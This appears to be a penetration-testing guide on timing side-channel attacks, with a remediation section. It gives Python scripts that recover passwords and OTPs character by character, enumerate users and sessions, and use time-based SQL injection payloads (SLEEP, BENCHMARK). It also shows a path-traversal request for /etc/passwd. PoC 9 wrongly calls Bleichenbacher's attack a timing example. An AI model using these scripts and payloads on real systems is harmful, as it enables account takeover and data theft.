# Timing Attacks ## Description Timing attacks are a type of side-channel attack where an attacker can discover information by analyzing the time it takes for a system to respond to different inputs. These attacks exploit variations in processing time to infer sensitive data such as valid usernames, password correctness, cryptographic keys, or internal system states. ## How Timing Attacks Work When an application takes different amounts of time to process valid versus invalid inputs, attackers can measure these timing differences to gain information. For example: - Valid username checks may take longer due to additional database queries - Password verification may fail faster for wrong usernames than wrong passwords - Token validation may reveal valid token formats through timing differences - Cryptographic operations may leak information through processing time ## Common Vulnerabilities ### 1. **User Enumeration via Login Timing** Login responses take different times for existing vs non-existing users. ### 2. **Password Verification Timing** Password comparison stops at first wrong character (early return). ### 3. **Token Validation Timing** Valid token format takes longer to process than invalid format. ### 4. **Cryptographic Key Discovery** RSA, AES operations leak information through execution time. ### 5. **Database Query Timing** Different query execution times reveal data existence. ### 6. **Cache Timing** Cached vs uncached responses have different timing signatures. ### 7. **Session Validation Timing** Valid session checks take longer than invalid session checks. ### 8. **OTP/PIN Verification Timing** Character-by-character comparison reveals partial correctness. ## Common Attack Vectors - Authentication endpoints (login, password reset) - Token validation endpoints - Search functionality - Database queries - Cryptographic operations - Session management - File existence checks - Cache mechanisms ## Testing Methodology & PoC Examples ### PoC 1: User Enumeration via Login Timing **Vulnerability:** Different response times for existing vs non-existing users. **Steps to Test:** 1. Send login request with known existing username 2. Measure response time (e.g., 250ms) 3. Send login request with non-existing username 4. Measure response time (e.g., 50ms) 5. Significant difference indicates vulnerability **Python Script:** ```python import requests import time def measure_login_time(username, password): start = time.time() response = requests.post('https://example.com/login', data={'username': username, 'password': password}) end = time.time() return end - start # Test with known existing user existing_user_time = measure_login_time('admin', 'wrong_password') print(f"Existing user time: {existing_user_time:.3f}s") # Test with non-existing user nonexistent_user_time = measure_login_time('nonexistent_user_12345', 'wrong_password') print(f"Non-existing user time: {nonexistent_user_time:.3f}s") # If difference is significant (>50ms), vulnerability exists if abs(existing_user_time - nonexistent_user_time) > 0.05: print("Timing attack vulnerability detected!") ``` **Request Example:** ```http POST /login HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded username=admin&password=test123 ``` **Mitigation:** Use constant-time comparison and always perform same operations regardless of user existence. --- ### PoC 2: Password Length Discovery via Timing **Vulnerability:** Password verification time increases with correct prefix length. **Steps to Test:** 1. Try passwords of different lengths 2. Measure response time for each 3. Longer correct prefixes take more time 4. Incrementally discover password character by character **Python Script:** ```python import requests import time import string def test_password_timing(username, password): times = [] for _ in range(10): # Multiple attempts for accuracy start = time.time() requests.post('https://example.com/login', data={'username': username, 'password': password}) end = time.time() times.append(end - start) return sum(times) / len(times) # Average time # Brute force password character by character known_password = "" for position in range(20): # Try up to 20 characters best_char = None longest_time = 0 for char in string.ascii_letters + string.digits: test_password = known_password + char avg_time = test_password_timing('admin', test_password) if avg_time > longest_time: longest_time = avg_time best_char = char if best_char: known_password += best_char print(f"Discovered: {known_password}") else: break ``` --- ### PoC 3: Token Validation Timing Attack **Vulnerability:** Valid token format takes longer to validate. **Steps to Test:** 1. Send requests with various token formats 2. Measure validation time 3. Valid format (even if expired) takes longer 4. Use timing to discover valid token structure **Request Examples:** ```http GET /api/validate?token=invalid_format HTTP/1.1 Host: example.com # Fast response (5ms) GET /api/validate?token=550e8400-e29b-41d4-a716-446655440000 HTTP/1.1 Host: example.com # Slower response (50ms) - valid UUID format ``` **Python Script:** ```python import requests import time tokens = [ 'invalid', '12345', 'abc-def-ghi', '550e8400-e29b-41d4-a716-446655440000', # Valid UUID 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', # Valid JWT format ] for token in tokens: start = time.time() response = requests.get(f'https://example.com/api/validate?token={token}') elapsed = time.time() - start print(f"Token: {token[:20]}... Time: {elapsed:.4f}s") ``` --- ### PoC 4: Database Query Timing (SQL Timing Attack) **Vulnerability:** Different query execution times reveal data. **Steps to Test:** 1. Inject time-based SQL payloads 2. Measure response time 3. If condition is true, response is delayed 4. Extract data bit by bit **SQL Timing Payloads:** ```sql ' OR IF(1=1, SLEEP(5), 0) -- ' OR IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) -- ' AND IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0) -- admin' AND IF(LENGTH(password)>8, BENCHMARK(5000000,SHA1('test')), 0) -- ``` **Request:** ```http POST /search HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded query=' OR IF(1=1, SLEEP(5), 0) -- ``` **Python Script:** ```python import requests import time def check_condition(condition): payload = f"' OR IF({condition}, SLEEP(5), 0) --" start = time.time() requests.post('https://example.com/search', data={'query': payload}) elapsed = time.time() - start return elapsed > 5 # True if condition is true # Extract database name length for length in range(1, 50): if check_condition(f"LENGTH(DATABASE())={length}"): print(f"Database name length: {length}") break ``` --- ### PoC 5: Cache Timing Attack **Vulnerability:** Cached responses are faster than uncached. **Steps to Test:** 1. Request resource multiple times 2. First request is slow (cache miss) 3. Subsequent requests are fast (cache hit) 4. Use timing to discover accessed resources **Python Script:** ```python import requests import time def check_cache_timing(url): # First request - potential cache miss start = time.time() requests.get(url) first_time = time.time() - start # Second request - potential cache hit start = time.time() requests.get(url) second_time = time.time() - start print(f"URL: {url}") print(f"First: {first_time:.4f}s, Second: {second_time:.4f}s") if second_time < first_time * 0.5: print("Likely cached!") return True return False # Test various resources resources = [ 'https://example.com/api/user/1', 'https://example.com/api/user/2', 'https://example.com/api/user/999', ] for resource in resources: check_cache_timing(resource) ``` --- ### PoC 6: OTP/PIN Brute Force via Timing **Vulnerability:** Character-by-character OTP comparison. **Steps to Test:** 1. Try OTPs with different first digits 2. Correct first digit takes slightly longer 3. Repeat for each position 4. Discover OTP digit by digit **Python Script:** ```python import requests import time def test_otp_timing(otp): times = [] for _ in range(20): # Multiple measurements start = time.time() requests.post('https://example.com/verify-otp', data={'otp': otp}) times.append(time.time() - start) return sum(times) / len(times) # Discover 6-digit OTP discovered_otp = "" for position in range(6): best_digit = None longest_time = 0 for digit in range(10): test_otp = discovered_otp + str(digit) + "0" * (5 - position) avg_time = test_otp_timing(test_otp) if avg_time > longest_time: longest_time = avg_time best_digit = digit discovered_otp += str(best_digit) print(f"Discovered so far: {discovered_otp}") ``` --- ### PoC 7: File Existence Check via Timing **Vulnerability:** File existence affects response time. **Steps to Test:** 1. Request files that may exist 2. Existing files take longer (file I/O) 3. Non-existing files fail fast 4. Enumerate file structure via timing **Request:** ```http GET /download?file=../../../etc/passwd HTTP/1.1 Host: example.com # Slower if file exists and is accessed ``` --- ### PoC 8: Session Validation Timing **Vulnerability:** Valid sessions require more checks. **Steps to Test:** 1. Send requests with various session IDs 2. Valid format sessions take longer to invalidate 3. Discover valid session ID patterns **Python Script:** ```python import requests import time import uuid def check_session_timing(session_id): start = time.time() requests.get('https://example.com/api/data', cookies={'SESSIONID': session_id}) return time.time() - start # Test different session formats session_times = {} for _ in range(10): # Random UUID session_id = str(uuid.uuid4()) timing = check_session_timing(session_id) session_times[session_id] = timing print(f"Session: {session_id} Time: {timing:.4f}s") # Sessions with longer times might have valid format sorted_sessions = sorted(session_times.items(), key=lambda x: x[1], reverse=True) print("\nSlowest (potentially valid format):") for session, timing in sorted_sessions[:3]: print(f"{session}: {timing:.4f}s") ``` --- ### PoC 9: Cryptographic Timing Attack (RSA) **Vulnerability:** RSA decryption time leaks private key information. **Concept:** - RSA operations time varies based on key bits - Measure time for different ciphertext - Statistical analysis reveals key bits **Note:** This requires many measurements and statistical analysis. Real-world example: Bleichenbacher's attack. --- ### PoC 10: Rate Limiting Detection via Timing **Vulnerability:** Rate limiting adds delay to responses. **Steps to Test:** 1. Send requests rapidly 2. Measure response times 3. After threshold, responses become slower 4. Discover rate limit threshold **Python Script:** ```python import requests import time url = 'https://example.com/api/endpoint' times = [] for i in range(100): start = time.time() response = requests.get(url) elapsed = time.time() - start times.append(elapsed) print(f"Request {i+1}: {elapsed:.4f}s") # Detect sudden increase in response time if len(times) > 10: avg_recent = sum(times[-10:]) / 10 avg_early = sum(times[:10]) / 10 if avg_recent > avg_early * 2: print(f"Rate limit detected around request {i+1}") break ``` --- ## Tools for Testing ### 1. **Custom Python Scripts** ```python import statistics import requests import time def statistical_timing_attack(url, payloads): results = {} for payload in payloads: times = [] for _ in range(50): # 50 measurements for accuracy start = time.time() requests.post(url, data={'input': payload}) times.append(time.time() - start) # Calculate statistics avg = statistics.mean(times) stdev = statistics.stdev(times) results[payload] = {'avg': avg, 'stdev': stdev} return results ``` ### 2. **Burp Suite Intruder** - Use "Pitchfork" attack type - Add "Response received" column - Sort by response time - Look for patterns ### 3. **Timing Attack Tools** ```bash # Using cURL with timing for i in {1..100}; do curl -w "Time: %{time_total}s\n" -o /dev/null -s \ "https://example.com/api/check?username=user$i" done # Using Apache Bench ab -n 1000 -c 10 https://example.com/login # Using wrk for timing analysis wrk -t12 -c400 -d30s https://example.com/api ``` ### 4. **Statistical Analysis Tools** ```python import numpy as np import matplotlib.pyplot as plt # Analyze timing data times_existing_users = [0.245, 0.248, 0.251, 0.247, 0.249] times_nonexistent_users = [0.048, 0.051, 0.049, 0.050, 0.047] print(f"Existing users avg: {np.mean(times_existing_users):.4f}s") print(f"Non-existing users avg: {np.mean(times_nonexistent_users):.4f}s") # Plot histogram plt.hist(times_existing_users, alpha=0.5, label='Existing') plt.hist(times_nonexistent_users, alpha=0.5, label='Non-existing') plt.legend() plt.xlabel('Response Time (s)') plt.ylabel('Frequency') plt.title('Timing Attack - User Enumeration') plt.show() ``` ## Exploitation Impact - **Critical:** Password/key extraction, cryptographic attacks - **High:** User enumeration, session discovery, data extraction - **Medium:** Information disclosure, system behavior mapping - **Privacy Impact:** Reveals user existence, activity patterns ## Remediation ### 1. **Constant-Time Operations** ```python # Bad - Early return def check_password(input_password, stored_password): if len(input_password) != len(stored_password): return False for i in range(len(input_password)): if input_password[i] != stored_password[i]: return False # Early return leaks information return True # Good - Constant-time comparison import hmac def check_password_secure(input_password, stored_password): return hmac.compare_digest(input_password.encode(), stored_password.encode()) ``` ### 2. **Normalize Response Times** ```python import time import random def login(username, password): start_time = time.time() # Perform authentication result = authenticate(username, password) # Add random delay to normalize timing elapsed = time.time() - start_time target_time = 0.5 # Fixed response time if elapsed < target_time: time.sleep(target_time - elapsed + random.uniform(0, 0.05)) return result ``` ### 3. **Rate Limiting** - Implement aggressive rate limiting on sensitive endpoints - Use exponential backoff - CAPTCHA after multiple attempts ### 4. **Identical Code Paths** - Execute same operations for valid and invalid inputs - Always query database even if username doesn't exist - Always perform password hash comparison ### 5. **Timing Jitter** ```python import random import time def add_timing_jitter(): time.sleep(random.uniform(0.01, 0.05)) ``` ### 6. **Blinding Techniques** - Use blinding in cryptographic operations - Add random delays - Use secure libraries (e.g., libsodium) ### 7. **Monitoring and Detection** - Monitor for unusual timing patterns - Detect rapid sequential requests - Alert on systematic timing probes ### 8. **Use Secure Libraries** - Use constant-time comparison functions - Use timing-safe cryptographic libraries - Follow OWASP guidelines ## References - [OWASP - Timing Attacks](https://owasp.org/www-community/attacks/Timing_attack) - [NIST - Timing Attacks on Implementations](https://csrc.nist.gov/glossary/term/timing_attack) - [Remote Timing Attacks are Practical](https://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf) - [Cache-Timing Attacks on AES](https://cr.yp.to/antiforgery/cachetiming-20050414.pdf) ## Payloads See `timing-attacks-payloads.txt` for a comprehensive list of timing attack payloads and test cases.